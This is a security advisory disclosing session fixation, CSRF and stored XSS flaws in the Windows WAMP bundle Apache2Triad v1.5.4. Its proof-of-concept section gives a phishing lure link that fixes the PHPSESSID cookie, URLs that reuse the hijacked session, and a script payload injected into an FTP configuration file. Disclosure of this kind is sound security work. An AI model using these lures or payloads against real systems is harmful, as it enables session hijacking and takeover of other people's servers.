Vendor:
===============
apache2triad.net
https://sourceforge.net/projects/apache2triad/
 
 
 
Product:
===========
Apache2Triad v1.5.4
 
Apache2Triad spells instant and facile deployment of web software on any windows server along the lines of the WAMP paradigm
in a point and click manner in just minutes and is a ideal solution for the setup of server farms.
 
 
 
Vulnerability Type(s):
======================
Session Fixation
Cross Site Request Forgery
Persistent Cross Site Scripting
 
 
CVE Reference:
==============
CVE-2017-12965 (Session Fixation)
CVE-2017-12970 (Cross Site Request Forgery)
CVE-2017-12971 (Persistent Cross Site Scripting)
 
This application is old and not actively developed according to the website, yet it is still avail for download so
I release the advisory.
 
 
Security Issue(S):
================
CVE-2017-12965
 
Apache2Triad allows remote attackers to set an arbitrary PHPSESSID cookie, if a Apache2Triad user authenticates using the
attacker controlled PHPSESSID the attacker can then access the Apache2Triad Web application with same level of access
as that of the victim to potentially take over the Apache2Triad system.
 
e.g.
 
Pre - Authentication
a4ce6912be9d29a9ba4106c989859e7b
 
Post - Authentication
a4ce6912be9d29a9ba4106c989859e7b
 
We see the PHPSESSID is never regenerated, to make matters worse Apache2Triad will happily accept an abitrary attacker
supplied session cookie and persist it. Our evil cookie will get written here "C:\apache2triad\temp" as sess_HACKED123.
 
set our cookie like,
 
Attacker lure:
<a href="http://VICTIM-IP/phpsftpd/?PHPSESSID=HACKED123">Important message</a>
 
Victim logs on using our lure.
 
HTTP 200 OK
Response cookies    
PHPSESSID   
value   "HACKED123"
path    "/"
Request cookies 
PHPSESSID   "HACKED123"
 
 
Since we control the PHP Session ID and it persists across applications we can then jump to "phpxmail"
using above session and have an authenticated session avail to do whatever we wish.
 
e.g.
 
http://VICTIM-IP/phpxmail/?PHPSESSID=HACKED123
 
Now access some arbitrary application resource bypassing normal authentication.
http://VICTIM-IP/phpxmail/main.php?action=servercmd
 
Tested successfully in Firefox, IE
 
 
CVE-2017-12970
 
Remote attackers who can trick an authenticated Apache2Triad user to visit a malicious webpage or link can execute HTTP Requests
on behalf of the authenticated user, attackers can then add or delete arbitrary users to the affected system. 
 
Tested successfully in Firefox, IE
 
 
CVE-2017-12971
 
Remote attackers can execute arbitrary code that will run in the security context of the victims browser, if
an authenticated user visits an attacker controlled webpage or link.
 
Since Apache2Triad has Session Fixation flaw, we can leverage this to potentially bypass normal authentication. 
XSS payload will get written to the "slimftpd.conf" configuration file under "C:\apache2triad\ftp" directory.
 
e.g.
 
<User "\"/><script>alert(document.cookie)</script>">
 
</User>
 
 
Tested successfully in Firefox
 
 
Exploit/POC(s):
==============
CVE-2017-12965 (Session Fixation)
 
1) Create lure with a attacker controlled PHPSESSID, something like...
 
<a href="http://VICTIM-IP/phpsftpd/?PHPSESSID=HACKED123">You have new messages, logon to view</a>
 
2) Authenticate to Apache2Triad using that link
 
3) Open another Web Browser using above attacker supplied link. You can now access the vulnerable
application using same PHPSESSID session cookie from another browser.
